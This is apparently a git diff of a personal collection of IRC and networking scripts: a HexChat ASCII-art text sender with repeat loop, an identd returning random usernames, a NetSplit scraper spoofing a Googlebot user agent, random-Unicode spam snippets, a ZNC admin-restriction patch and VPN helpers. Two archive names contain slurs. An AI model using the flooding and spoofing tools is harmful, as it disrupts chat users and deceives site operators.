+ $c3 = "$OO"; #bg (trans)
+ }
+ ## // colors();
+
+ my %db = db1();
+
+ ## parse();
+ $in =~ s/(\S{$maxchars})/$1 /g;
+ undef @s0;
+ @s0 = split(' ',$in);
+ undef @s1;
+ $s1n = 0;
+ for $n (@s0) {
+ $nlen = length($n);
+ $slen = length($s1[$s1n]) + $nlen;
+ if ($slen <= $maxchars) {
+ $s1[$s1n] .= "$n ";
+ } else {
+ $s1n++;
+ $s1[$s1n] .= "$n ";
+ }
+ }
+ ### // parse()
+
+ ## process();
+ for $n (@s1) { #each line
+ if($reverse) {
+ $n = reverse $n;
+ }
+ $n =~ s/\s$//;
+ $n =~ s/^\s//;
+ undef @s2;
+ @s2 = split(undef,$n);
+ my $cur; # current string
+ my $tmp;
+ for $f (0..8*$scale) {
+ for $l (@s2) { #each letter
+ $all .= "$c3 $OO";
+ if($flip) { $cur = "$db{$l}[(9-$f)/$scale]"; } #line of letter
+ else { $cur = "$db{$l}[$f/$scale]"; }
+ $whitespace = " " x $scale;
+ $cur =~ s/ /$whitespace/g;
+ $all .= $cur;
+ }
+ $all .= "${c3} ";
+
+ # Xchat::print $all;
+
+ if($mirror) { $all = reverse $all; }
+ delaycommand('say '.$all);
+ $all = '';
+ }
+ }
+ ### // process()
+
+ select(undef,undef,undef,.1); # probably not necessary unless we care if the loop goes forever
+ $rep--;
+ }
+ }
+
+ return EAT_HEXCHAT;
+
+}
+
+
+
+# this just makes it so it looks right on your side
+sub delaycommand {
+ my $command = $_[0];
+ hook_timer( 0,
+ sub {
+ command($command);
+ return REMOVE;
+ }
+ );
+ return EAT_NONE;
+}
+
+
+
+#------------------#
+# character db #
+# lol #
+#------------------#
+
+sub db1 {
+return (
+" " => [
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+],
+"\cC" => [
+"$c3 ",
+"$c1 $c2 $c3 $c1 $c2 $c3",
+"$c1 $c2 $c3 $c1 $c2 $c3 ",
+"$c1 $c2 $c3 $c1 $c2 $c3 ",
+"$c1 $c2 $c3",
+"$c3 $c1 $c2 $c3 $c1 $c2 $c3",
+"$c3 $c1 $c2 $c3 $c1 $c2 $c3",
+"$c1 $c2 $c3 $c1 $c2 $c3",
+"$c3 ",
+],
+"\cB" => [
+"$c3 ",
+"$c1 $c2 $c3 $c1 $c2 $c3",
+"$c1 $c2 $c3 $c1 $c2 $c3 ",
+"$c1 $c2 $c3 $c1 $c2 $c3 ",
+"$c1 $c2 $c3",
+"$c3 $c1 $c2 $c3 $c1 $c2 $c3",
+"$c3 $c1 $c2 $c3 $c1 $c2 $c3",
+"$c1 $c2 $c3 $c1 $c2 $c3",
+"$c3 ",
+],
+"\cO" => [
+"$c3 ",
+"$c1 $c2 $c3 $c1 $c2 $c3",
+"$c1 $c2 $c3 $c1 $c2 $c3 ",
+"$c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"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+],
+"\<" => [
+"$c3 ",
+"$c3 ",
+"$c3 $c1 $c2 $c3",
+"$c3 $c1 $c2 $c3 ",
+"$c1 $c2 $c3 ",
+"$c3 $c1 $c2 $c3 ",
+"$c3 $c1 $c2 $c3",
+"$c3 ",
+"$c3 ",
+],
+"\>" => [
+"$c3 ",
+"$c3 ",
+"$c1 $c2 $c3 ",
+"$c3 $c1 $c2 $c3 ",
+"$c3 $c1 $c2 $c3",
+"$c3 $c1 $c2 $c3 ",
+"$c1 $c2 $c3 ",
+"$c3 ",
+"$c3 ",
+],
+"\?" => [
+"$c3 ",
+"$c3 $c1 $c2 $c3 ",
+"$c3 $c1 $c2 $c3 $c1 $c2 ",
+"$c3 $c1 $c2 $c3 ",
+"$c3 $c1 $c2 $c3 ",
+"$c3 $c1 $c2 $c3 ",
+"$c3 ",
+"$c3 $c1 $c2 $c3 ",
+"$c3 ",
+],
+"\," => [
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c1 $c2 $c3",
+"$c3 $c1 $c2 $c3",
+],
+"\." => [
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c3 ",
+"$c1 $c2 ",
+"$c3 ",
+],
+"\/" => [
+"$c3 ",
+"$c3 $c1 $c2 $c3",
+"$c3 $c1 $c2 $c3 ",
+"$c3 $c1 $c2 $c3 ",
+"$c3 $c1 $c2 $c3 ",
+"$c3 $c1 $c2 $c3 ",
+"$c3 $c1 $c2 $c3 ",
+"$c1 $c2 $c3 ",
+"$c3 ",
+],
+);
+}
diff --git a/irc/identd.py b/irc/identd.py
@@ -1,54 +1,65 @@
#!/usr/bin/env python
# Ident Protocol Daemon - Developed by acidvegas in Python (https://acid.vegas/random)
-import os, re, socket, time
+import os
+import random
+import re
+import socket
+import string
+import threading
+import pwd
def check_privledges():
- return True if os.getuid() == 0 or os.geteuid() == 0 else return False
+ if os.getuid() == 0 or os.geteuid() == 0:
+ return True
+ else:
+ return False
-def debug(msg):
- print(f'{get_time()} {msg}')
+def is_valid_port(port):
+ if port > 0 and port <= 65535:
+ return True
+ else:
+ return False
-def get_time():
- return time.strftime('%I:%M:%S')
+def random_str(size):
+ return ''.join(random.choice(string.ascii_letters) for _ in range(size))
-def is_valid_port(port):
- return True if port > 0 and port <= 65535 else return False
-
-class server(object):
- def __init__(self, ipv6=False):
- self.ipv6 = ipv6
- self.sock = None
-
- def _create_socket(self):
- if self.ipv6:
- self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
- self.sock.bind(('::', 113))
- else:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.bind(('0.0.0.0', 113))
- sock.listen(5)
+class Identd(threading.Thread):
+ def __init__(self, protocol, address, port):
+ self.protocol = protocol
+ self.address = address
+ self.port = port
+ self.sock = None
+ threading.Thread.__init__(self)
+
+ def run(self):
+ try:
+ self._create_sockets()
+ self._drop_privledges()
+ self._listen()
+ except Exception as ex:
+ print('error: ' + str(ex))
+
+ def _create_sockets(self):
+ self.sock = socket.socket(self.protocol)
+ self.sock.bind((self.address, self.port))
+ self.sock.listen(5)
+ self.sock.setblocking(0)
def _drop_privledges(self):
os.setgroups([])
os.setgid(pwd.getpwnam('nobody').pw_gid)
os.setuid(pwd.getpwnam('nobody').pw_uid)
- def _start(self):
- self._create_socket()
- if check_privledges():
- self._drop_privledges()
- self._listen()
-
def _listen(self):
while True:
- client, addr = sock.accept()
+ client, addr = self.sock.accept()
data = client.recv(1024).decode('ascii').rstrip()
source_ip = addr[0][7:] if addr[0][:7] == '::ffff:' else addr[0]
- debug(f'[REQUEST] {source_ip}: {data}')
+ print(f'[REQUEST] {source_ip}: {data}')
response = self._parse_data(data)
client.send(f'{response}\r\n'.encode('ascii'))
- debug(f'[ REPLY ] {source_ip}: {response}')
+ print(f'[ REPLY ] {source_ip}: {response}')
client.close()
def _parse_data(self, data):
@@ -59,4 +70,11 @@ class server(object):
rport = int(re.sub(r'\D', '', rport))
if not is_valid_port(lport) or not is_valid_port(rport):
return data + ' : ERROR : INVALID-PORT'
- return data + ' : USERID : UNIX : ' + username # RANDOM?
-\ No newline at end of file
+ return data + ' : USERID : UNIX : ' + random_str(5)
+
+if not check_privledges():
+ raise SystemExit('requires sudo privledges to bind to port 113')
+Identd(socket.AF_INET, '0.0.0.0', 113).start()
+Identd(socket.AF_INET6, '::', 113).start()
+while True:
+ input('')
diff --git a/irc/gaymircd.tar.gz b/irc/ircd/gaymircd.tar.gz
Binary files differ.
diff --git a/irc/nigircd.tar.gz b/irc/ircd/nigircd.tar.gz
Binary files differ.
diff --git a/irc/netsplit.py b/irc/netsplit.py
@@ -1,64 +0,0 @@
-#!/usr/bin/env python
-# NetSplit Parser - Developed by acidvegas in Python (https://acid.vegas/random)
-
-import os
-import re
-import sqlite3
-import time
-import urllib.request
-
-# Settings
-throttle = 3
-
-# Globals
-db_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'netsplit.db')
-db = sqlite3.connect(db_file)
-sql = db.cursor()
-
-def db_add(name, address, port, ssl):
- sql.execute('INSERT INTO SERVERS (NAME,ADDRESS,PORT,SSL) VALUES (\'{0}\', \'{1}\', \'{2}\', \'{3}\')'.format(name, address, port, ssl))
- db.commit()
-
-def db_setup():
- tables = sql.execute('SELECT name FROM sqlite_master WHERE type=\'table\'').fetchall()
- if len(tables):
- sql.execute('DROP TABLE SERVERS')
- sql.execute('CREATE TABLE SERVERS (NAME TEXT NOT NULL, ADDRESS TEXT NOT NULL, PORT INTEGER NOT NULL, SSL INTEGER NOT NULL);')
- db.commit()
-
-def get_source(url):
- req = urllib.request.Request(url)
- req.add_header('User-Agent', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
- source = urllib.request.urlopen(req, timeout=15)
- charset = source.headers.get_content_charset()
- if charset:
- return source.read().decode(charset)
- else:
- return source.read().decode()
-
-db_setup()
-source = get_source('http://irc.netsplit.de/networks/')
-networks = re.findall('<a class=".*?" href="/networks/(.*?)/"', source, re.IGNORECASE|re.MULTILINE)
-print(f'[~] - Found {len(networks)} networks on NetSplit.')
-for network in networks:
- source = get_source('http://irc.netsplit.de/networks/status.php?net=' + network)
- source = source.replace('style=\'color:#666666;\'', '')
- source = source.replace('​', '')
- while ' ' in source:
- source = source.replace(' ', ' ')
- checker = re.findall('<td valign="top">.*?<br>((.*?))</td>', source, re.IGNORECASE|re.MULTILINE)
- if checker:
- servers = re.findall(r'<td valign="top">(.*?)<br>.*?</td><td align=\'center\' valign=\'top\'>(.*?)</td>', source, re.IGNORECASE|re.MULTILINE)
- else:
- servers = re.findall(r'<td valign="top">(.*?)</td><td align=\'center\' valign=\'top\'>(.*?)</td>', source, re.IGNORECASE|re.MULTILINE)
- servers = list(set(servers))
- for server in servers:
- address = server[0].split(':')[0]
- port = int(server[0].split(':')[1])
- if server[1] == 'off':
- ssl = 0
- else:
- ssl = 1
- db_add(network, address, port, ssl)
- print('{0}{1}:{2}'.format(network.ljust(30), address, port))
- time.sleep(throttle)
-\ No newline at end of file
diff --git a/irc/unicode.msl b/irc/unicode.msl
@@ -1,26 +0,0 @@
-alias UTF81 {
- if ($1 < 161) { return $chr($1) }
- elseif ($len($base($1,10,2)) < 12) { return $+($chr($calc(192 + $div($1,64))),$chr($calc(128 + [ $1 % 64 ] ))) }
- elseif ($len($base($1,10,2)) < 17) { return $+($chr($calc(224 + $div($1,4096))),$chr($calc(128 + [ $div($1,64) % 64 ] )),$chr($calc(128 + [ $1 % 64 ] ))) }
- elseif ($len($base($1,10,2)) < 22) {
- return $+($chr($calc(240 + $div($1,262144))),$chr($calc(128 + [ $div($1,4096) % 64 ] )),$chr($calc(128 + [ $div($1,64) % 64 ] )),$&
- $chr($calc(128 + [ $1 % 64 ] )))
- }
-}
-alias -l div { return $int($calc($1 / $2)) }
-alias UTF8 {
- if ($version >= 7) return $chr($1)
- else {
- var %x $base($1,10,2),%y $len(%x)
- if ($1 < 161) { return $chr($1) }
- elseif (%y < 12) { return $+($shift(11000000,$left(%x,-6)),$shift(10000000,$right(%x,6))) }
- elseif (%y < 17) { return $+($shift(11100000,$left(%x,-12)),$shift(10000000,$mid(%x,-12,6)),$shift(10000000,$right(%x,6))) }
- elseif (%y < 22) {
- return $+($shift(11110000,$left(%x,-18)),$shift(10000000,$mid(%x,$iif(%y < 18,$+(-,%y),-18),6)),$shift(10000000,$mid(%x,-12,6)),$shift(10000000,$right(%x,6)))
- }
- }
-}
-
-$utf8($rand(123456,999999)) $+ $utf8($rand(123456,999999)) $+ $utf8($rand(123456,999999)) $+
-
-# ^ etc like 100+ times
diff --git a/irc/znc_isadmin_patch.diff b/irc/znc_isadmin_patch.diff
@@ -1,175 +0,0 @@
-user@linux ~/build/znc-acid $ git diff
-diff --git a/modules/controlpanel.cpp b/modules/controlpanel.cpp
-index 0b7796aa..edd14420 100644
---- a/modules/controlpanel.cpp
-+++ b/modules/controlpanel.cpp
-@@ -319,12 +319,37 @@ class CAdminMod : public CModule {
- pUser->SetAltNick(sValue);
- PutModule("AltNick = " + sValue);
- } else if (sVar == "ident") {
-+
-+ // Don't need them changing this, used to identify them.
-+ if (!GetUser()->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
-+
- pUser->SetIdent(sValue);
-+
- PutModule("Ident = " + sValue);
- } else if (sVar == "realname") {
-+
-+ // Some BNC's put their link in the realname.
-+ if (!GetUser()->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
-+
- pUser->SetRealName(sValue);
- PutModule("RealName = " + sValue);
- } else if (sVar == "bindhost") {
-+
-+ // That code below is annoying. Just do this first.
-+ if (!GetUser()->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
-+
- if (!pUser->DenySetBindHost() || GetUser()->IsAdmin()) {
- if (sValue.Equals(pUser->GetBindHost())) {
- PutModule(t_s("This bind host is already set!"));
-@@ -607,9 +632,24 @@ class CAdminMod : public CModule {
- pNetwork->SetAltNick(sValue);
- PutModule("AltNick = " + pNetwork->GetAltNick());
- } else if (sVar.Equals("ident")) {
-+
-+ // Don't need them changing this, used to identify them.
-+ if (!GetUser()->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
- pNetwork->SetIdent(sValue);
- PutModule("Ident = " + pNetwork->GetIdent());
- } else if (sVar.Equals("realname")) {
-+
-+ // Some BNC's put their link in the realname.
-+ if (!GetUser()->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
-+
- pNetwork->SetRealName(sValue);
- PutModule("RealName = " + pNetwork->GetRealName());
- } else if (sVar.Equals("bindhost")) {
-@@ -1022,6 +1062,11 @@ class CAdminMod : public CModule {
- CString sNetwork = sLine.Token(2);
- CUser* pUser = GetUser();
-
-+ if (!GetUser()->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
- if (sNetwork.empty()) {
- sNetwork = sUser;
- } else {
-@@ -1067,6 +1112,12 @@ class CAdminMod : public CModule {
- CString sNetwork = sLine.Token(2);
- CUser* pUser = GetUser();
-
-+ if (!GetUser()->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
-+
- if (sNetwork.empty()) {
- sNetwork = sUser;
- } else {
-@@ -1149,6 +1200,12 @@ class CAdminMod : public CModule {
- CString sNetwork = sLine.Token(2);
- CString sServer = sLine.Token(3, true);
-
-+ if (!GetUser()->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
-+
- if (sServer.empty()) {
- PutModule(
- t_s("Usage: AddServer <username> <network> <server> [[+]port] "
-@@ -1180,6 +1237,12 @@ class CAdminMod : public CModule {
- unsigned short uPort = sLine.Token(4).ToUShort();
- CString sPass = sLine.Token(5);
-
-+ if (!GetUser()->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
-+
- if (sServer.empty()) {
- PutModule(
- t_s("Usage: DelServer <username> <network> <server> [[+]port] "
-diff --git a/src/ClientCommand.cpp b/src/ClientCommand.cpp
-index 44bcc324..81704ed1 100644
---- a/src/ClientCommand.cpp
-+++ b/src/ClientCommand.cpp
-@@ -536,6 +536,14 @@ void CClient::UserCommand(CString& sLine) {
- PutStatus(t_f("Total: {1}, Joined: {2}, Detached: {3}, Disabled: {4}")(
- vChans.size(), uNumJoined, uNumDetached, uNumDisabled));
- } else if (sCommand.Equals("ADDNETWORK")) {
-+
-+ // Just them anyway.
-+ if (!m_pUser->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
-+
- if (!m_pUser->IsAdmin() && !m_pUser->HasSpaceForNewNetwork()) {
- PutStatus(t_s(
- "Network number limit reached. Ask an admin to increase the "
-@@ -569,6 +577,12 @@ void CClient::UserCommand(CString& sLine) {
- } else if (sCommand.Equals("DELNETWORK")) {
- CString sNetwork = sLine.Token(1);
-
-+ if (!m_pUser->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
-+
- if (sNetwork.empty()) {
- PutStatus(t_s("Usage: DelNetwork <name>"));
- return;
-@@ -744,6 +758,11 @@ void CClient::UserCommand(CString& sLine) {
- } else if (sCommand.Equals("ADDSERVER")) {
- CString sServer = sLine.Token(1);
-
-+ if (!m_pUser->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
- if (!m_pNetwork) {
- PutStatus(t_s(
- "You must be connected with a network to use this command"));
-@@ -763,6 +782,11 @@ void CClient::UserCommand(CString& sLine) {
- "added or openssl is disabled?"));
- }
- } else if (sCommand.Equals("REMSERVER") || sCommand.Equals("DELSERVER")) {
-+ if (!m_pUser->IsAdmin()) {
-+ PutStatus(t_s(
-+ "You cannot do that."));
-+ return;
-+ }
- if (!m_pNetwork) {
- PutStatus(t_s(
- "You must be connected with a network to use this command"));
-\ No newline at end of file
diff --git a/kvm b/kvm
@@ -0,0 +1,2 @@
+#!/bin/sh
+sh -c 'sleep 1.0; xdotool type $PASSWORD'
+\ No newline at end of file
diff --git a/networking/mullvad.sh b/networking/mullvad.sh
@@ -1,171 +0,0 @@
-#!/bin/bash
-
-DEFAULT_SERVER=0
-DISABLE_IPV6=1
-
-function disable_ipv6 {
- sysctl -w net.ipv6.conf.all.disable_ipv6=0
- sysctl -w net.ipv6.conf.default.disable_ipv6=0
- sysctl -w net.ipv6.conf.lo.disable_ipv6=0
-}
-
-function generate_config {
- if [ -f /etc/openvpn/client/mullvad/mullvad.conf ]; then
- sed '14s/.*/remote ${1}.mullvad.net ${2}/' /etc/openvpn/client/mullvad/mullvad.conf > /etc/openvpn/client/mullvad/mullvad.conf
- else
- echo "auth-user-pass auth
-ca ca.crt
-cipher AES-256-CBC
-client
-comp-lzo
-crl-verify crl.pem
-dev tun
-nobind
-persist-key
-persist-tun
-ping 10
-ping-restart 60
-proto udp
-remote ${1}.mullvad.net ${2}
-remote-cert-tls server
-resolv-retry infinite
-tls-cipher TLS-DHE-RSA-WITH-AES-256-GCM-SHA384:TLS-DHE-RSA-WITH-AES-256-CBC-SHA
-tun-ipv6
-verb 3" > /etc/openvpn/client/mullvad/mullvad.conf
- fi
-}
-
-function menu_auth {
- ACCOUNT_NUMBER=$(dialog --backtitle "Mullvad VPN Helper" --title "Login" --inputbox "Account Number:" 8 50 2>&1 >/dev/tty)
- clear
- echo -e "$ACCOUNT_NUMBER\nm" > /etc/openvpn/client/mullvad/auth
- chmod 600 /etc/openvpn/client/mullvad/auth
- chown root:root /etc/openvpn/client/mullvad/auth
-}
-
-function menu_server {
- if [ $DEFAULT_SERVER -eq 0 ]; then
- OPTIONS=(1 "Random"
- 2 "Austria (AT)"
- 3 "Australia (AU)"
- 4 "Belgium (BE)"
- 5 "Bulgaria (BG)"
- 6 "Canada (CA)"
- 7 "Canada (CA) - Toronto"
- 8 "Canada (CA) - Vancouver"
- 9 "Czech Republic (CZ)"
- 10 "Denmark (DK)"
- 11 "Germany (DE)"
- 12 "Germany (DE) - Berlin"
- 13 "Germany (DE) - Frankfurt"
- 14 "Finland (FI)"
- 15 "France (FR)"
- 16 "Hong Kong (HK)"
- 17 "Hungary (HU)"
- 18 "Israel (IL)"
- 19 "Italy (IT)"
- 20 "Japan (JP)"
- 21 "Moldova (MD)"
- 22 "Netherlands (NL)"
- 23 "Norway (NO)"
- 24 "Poland (PL)"
- 25 "Portugual (PT)"
- 26 "Romania (RO)"
- 27 "Singapore (SG)"
- 28 "Spain (ES)"
- 29 "Sweden (SE)"
- 30 "Sweden (SE) - Helsingborg"
- 31 "Sweden (SE) - Malmö"
- 32 "Sweden (SE) - Stockholm"
- 33 "Switzerland (CH)"
- 34 "United Kingdom (GB)"
- 35 "United Kingdom (GB) - London"
- 36 "United Kingdom (GB) - Manchester"
- 37 "United States (US)"
- 38 "United States (US) - Arizona"
- 39 "United States (US) - California"
- 40 "United States (US) - Florida"
- 41 "United States (US) - Georgia"
- 42 "United States (US) - Illinois"
- 43 "United States (US) - Nevada"
- 44 "United States (US) - New Jersey"
- 45 "United States (US) - New York"
- 46 "United States (US) - Texas"
- 47 "United States (US) - Utah"
- 48 "United States (US) - Washington"
- 49 "United States (US) - Washington DC")
- CHOICE=$(dialog --clear --backtitle "Mullvad VPN Helper" --title "Connection" --menu "Select a regional server below:" 20 60 20 "${OPTIONS[@]}" 2>&1 >/dev/tty)
- clear
- if [ $CHOICE -eq 1 ]; then
- CHOICE=$(shuf -i 2-38 -n 1)
- fi
- elif [ $DEFAULT_SERVER == 1 ]; then
- CHOICE=$(shuf -i 2-38 -n 1)
- else
- CHOICE=$DEFAULT_SERVER
- fi
- case $CHOICE in
- 2) generate_config "at" "1302";;
- 3) generate_config "au" "1302";;
- 4) generate_config "be" "1196";;
- 5) generate_config "bg" "1195";;
- 6) generate_config "ca" "1301";;
- 7) generate_config "ca-bc" "1196";;
- 8) generate_config "ca-on" "1196";;
- 9) generate_config "cz" "1302";;
- 10) generate_config "dk" "1197";;
- 11) generate_config "de" "1195";;
- 12) generate_config "de-ber" "1197";;
- 13) generate_config "de-fra" "1301";;
- 14) generate_config "fi" "1302";;
- 15) generate_config "fr" "1301";;
- 16) generate_config "hk" "1195";;
- 17) generate_config "hu" "1194";;
- 18) generate_config "il" "1197";;
- 19) generate_config "it" "1196";;
- 20) generate_config "jp" "1197";;
- 21) generate_config "md" "1301";;
- 22) generate_config "nl" "1195";;
- 23) generate_config "no" "1194";;
- 24) generate_config "pl" "1301";;
- 25) generate_config "pt" "1301";;
- 26) generate_config "ro" "1197";;
- 27) generate_config "sg" "1302";;
- 28) generate_config "es" "1194";;
- 29) generate_config "se" "1195";;
- 30) generate_config "se-hel" "1197";;
- 31) generate_config "se-mma" "1194";;
- 32) generate_config "se-sto" "1197";;
- 33) generate_config "ch" "1195";;
- 34) generate_config "gb" "1197";;
- 35) generate_config "gb-lon" "1194";;
- 36) generate_config "gb-mnc" "1302";;
- 37) generate_config "us" "1196";;
- 38) generate_config "us-az" "1194";;
- 39) generate_config "us-ca" "1194";;
- 40) generate_config "us-fl" "1195";;
- 41) generate_config "us-ga" "1196";;
- 42) generate_config "us-il" "1196";;
- 43) generate_config "us-nv" "1302";;
- 44) generate_config "us-nj" "1301";;
- 45) generate_config "us-ny" "1195";;
- 46) generate_config "us-tx" "1195";;
- 47) generate_config "us-ut" "1196";;
- 48) generate_config "us-wa" "1197";;
- 49) generate_config "us-dc" "1302";;
- esac
-}
-
-if [ $EUID -ne 0 ]; then
- echo "[!] - This script requires sudo privledges!"
- exit 1
-fi
-if [ ! -f /etc/openvpn/client/mullvad/auth ]; then
- menu_auth
-fi
-if [ $DISABLE_IPV6 -eq 1 ]; then
- disable_ipv6
-fi
-rm /etc/openvpn/client/mullvad/mullvad.conf
-menu_server
-openvpn --cd /etc/openvpn/client/mullvad --config mullvad.conf
diff --git a/networking/ovh6 b/networking/ovh6
@@ -0,0 +1,5 @@
+#!/bin/sh
+#usage: ovh6 IPV6_ADDRESS IPV6_GATEWAY
+ip addr add $1/64 dev eth0
+ip -6 route add $2 dev eth0
+ip -6 route add default via $2 dev eth0
+\ No newline at end of file
diff --git a/progress.sh b/progress.sh
@@ -1,7 +0,0 @@
-PROGRESS='#'
-for PERCENT in {1..100}; do
- echo -ne "$PERCENT%\t$PROGRESS\r"
- PROGRESS="$PROGRESS#"
- sleep 0.05
-done
-echo -e "\n"
-\ No newline at end of file
diff --git a/rekey.sh b/rekey.sh
@@ -1,40 +0,0 @@
-#!/bin/sh
-recycle_gpg_key() {
- gpg --expert --full-gen-key
- local KEYID="CHANGEME" # todo: automatically parse this from gpg output
- gpg --export --armor $KEYID > $KEYID.pub.asc
- gpg --export-secret-keys --armor $KEYID > $KEYID.priv.asc
- gpg --export-secret-subkeys --armor $KEYID > $KEYID.sub_priv.asc
- gpg --delete-secret-key $KEYID
- gpg --import $KEYID.sub_priv.asc
-}
-
-recycle_irc_key() {
- local NICK="CHANGEME"
- openssl req -x509 -new -newkey rsa:4096 -sha256 -days 3650 -nodes -out $NICK.pem -keyout $NICK.pem
- chmod 400 $NICK.pem
-}
-
-recycle_ssh_key() {
- if [ ! -d $HOME/.ssh ]; then
- mkdir $HOME/.ssh
- else
- [ -f $HOME/.ssh/key ] && mv $HOME/.ssh/key $HOME/.ssh/key.back
- [ -f $HOME/.ssh/key.pub ] && rm $HOME/.ssh/key.pub
- fi
- read -p "Password: " $PASSWORD
- ssh-keygen -t ed25519 -a 100 -C "" -P "$PASSWORD" -f $HOME/.ssh/key -q
-}
-
-setup_authorized_keys() {
- if [ ! -d /etc/ssh/authorized_keys ]; then
- mkdir /etc/ssh/authorized_keys
- else
- for f in /home/*/.ssh/authorized_keys; do
- local USERNAME=$(echo $f | cut -d/ -f 3)
- if [ ! -f /etc/ssh/authorized_keys/$USERNAME ]; then
- cat $f > /etc/ssh/authorized_keys/$USERNAME && rm $f
- fi
- done
- fi
-}
-\ No newline at end of file
diff --git a/stdcap.py b/stdcap.py
@@ -90,9 +90,9 @@ def get_data(coin, start_time, end_time):
CMC = CoinMarketCap()
ticker_data = CMC._ticker()
-start_time = int((datetime.datetime.now()-datetime.timedelta(days=7)).timestamp()*1000)
+start_time = int((datetime.datetime.now()-datetime.timedelta(days=180)).timestamp()*1000)
end_time = int(datetime.datetime.now().timestamp()*1000)
-coins = [item['id'] for item in ticker_data] #[:10]
+coins = [item['id'] for item in ticker_data][:10]
data = [get_data(coin, start_time, end_time) for coin in coins]
data = sorted(data, key=lambda k: float(k['std']), reverse=True)
generate_table(data)
diff --git a/zalgo.html b/zalgo.html
@@ -0,0 +1,193 @@
+<html>
+<head>
+ <style type="text/css">
+ body{background-color:#312E43;color:#FFF}
+ .zalgo_td {font-size:32px;width:48px;border:#000 1px solid;text-align:center}
+ .zalgo_ref_table {border:#000 1px solid}
+ #lulz_container{padding:50px;border:#000 1px solid}
+ </style>
+ <script>
+ var zalgo_up = [
+ '\u030d', '\u030e', '\u0304', '\u0305',
+ '\u033f', '\u0311', '\u0306', '\u0310',
+ '\u0352', '\u0357', '\u0351', '\u0307',
+ '\u0308', '\u030a', '\u0342', '\u0343',
+ '\u0344', '\u034a', '\u034b', '\u034c',
+ '\u0303', '\u0302', '\u030c', '\u0350',
+ '\u0300', '\u0301', '\u030b', '\u030f',
+ '\u0312', '\u0313', '\u0314', '\u033d',
+ '\u0309', '\u0363', '\u0364', '\u0365',
+ '\u0366', '\u0367', '\u0368', '\u0369',
+ '\u036a', '\u036b', '\u036c', '\u036d',
+ '\u036e', '\u036f', '\u033e', '\u035b',
+ '\u0346', '\u031a'
+ ];
+ var zalgo_down = [
+ '\u0316', '\u0317', '\u0318', '\u0319',
+ '\u031c', '\u031d', '\u031e', '\u031f',
+ '\u0320', '\u0324', '\u0325', '\u0326',
+ '\u032d', '\u032e', '\u032f', '\u0330',
+ '\u0329', '\u032a', '\u032b', '\u032c',
+ '\u0331', '\u0332', '\u0333', '\u0339',
+ '\u033a', '\u033b', '\u033c', '\u0345',
+ '\u0347', '\u0348', '\u0349', '\u034d',
+ '\u034e', '\u0353', '\u0354', '\u0355',
+ '\u0356', '\u0359', '\u035a', '\u0323'
+ ];
+ var zalgo_mid = [
+ '\u0315', '\u031b', '\u0340', '\u0341',
+ '\u0358', '\u0321', '\u0322', '\u0327',
+ '\u0328', '\u0334', '\u0335', '\u0336',
+ '\u034f', '\u035c', '\u035d', '\u035e',
+ '\u035f', '\u0360', '\u0362', '\u0338',
+ '\u0337', '\u0361', '\u0489'
+ ];
+ function rand(max) {
+ return Math.floor(Math.random() * max);
+ }
+ function rand_zalgo(array) {
+ var ind = Math.floor(Math.random() * array.length);
+ return array[ind];
+ }
+ function toggle(id) {
+ if(document.getElementById(id).style.display == "none")
+ document.getElementById(id).style.display = "block";
+ else
+ document.getElementById(id).style.display = "none";
+ }
+ function is_zalgo_char(c) {
+ var i;
+ for(i=0; i<zalgo_up.length; i++)
+ if(c == zalgo_up[i])
+ return true;
+ for(i=0; i<zalgo_down.length; i++)
+ if(c == zalgo_down[i])
+ return true;
+ for(i=0; i<zalgo_mid.length; i++)
+ if(c == zalgo_mid[i])
+ return true;
+ return false;
+ }
+ function draw_zalgo_table(elid) {
+ var container = document.getElementById(elid);
+ var html = '';
+ html += '<b>UP:</b><br />\n';
+ html += '<table class="zalgo_ref_table">\n';
+ html += '<tr>\n';
+ for(var i=0; i<zalgo_up.length; i++) {
+ if(!(i % 10))
+ html += '</tr><tr>';
+ html += '<td class="zalgo_td">' + zalgo_up[i] + '</td>\n';
+ }
+ html += '</tr>\n';
+ html += '</table>\n';
+ html += '<br /><b>MIDDLE:</b><br />\n';
+ html += '<table class="zalgo_ref_table">\n';
+ html += '<tr>\n';
+ for(var i=0; i<zalgo_mid.length; i++) {
+ if(!(i % 10))
+ html += '</tr><tr>';
+ html += '<td class="zalgo_td">' + zalgo_mid[i] + '</td>\n';
+ }
+ html += '</tr>\n';
+ html += '</table>\n';
+ html += '<br /><b>DOWN:</b><br />\n';
+ html += '<table class="zalgo_ref_table">\n';
+ html += '<tr>\n';
+ for(var i=0; i<zalgo_down.length; i++) {
+ if(!(i % 10))
+ html += '</tr><tr>';
+ html += '<td class="zalgo_td">' + zalgo_down[i] + '</td>\n';
+ }
+ html += '</tr>\n';
+ html += '</table>\n';
+ container.innerHTML = html;
+ }
+ function zalgo_textarea(id) {
+ var p = document.getElementById(id);
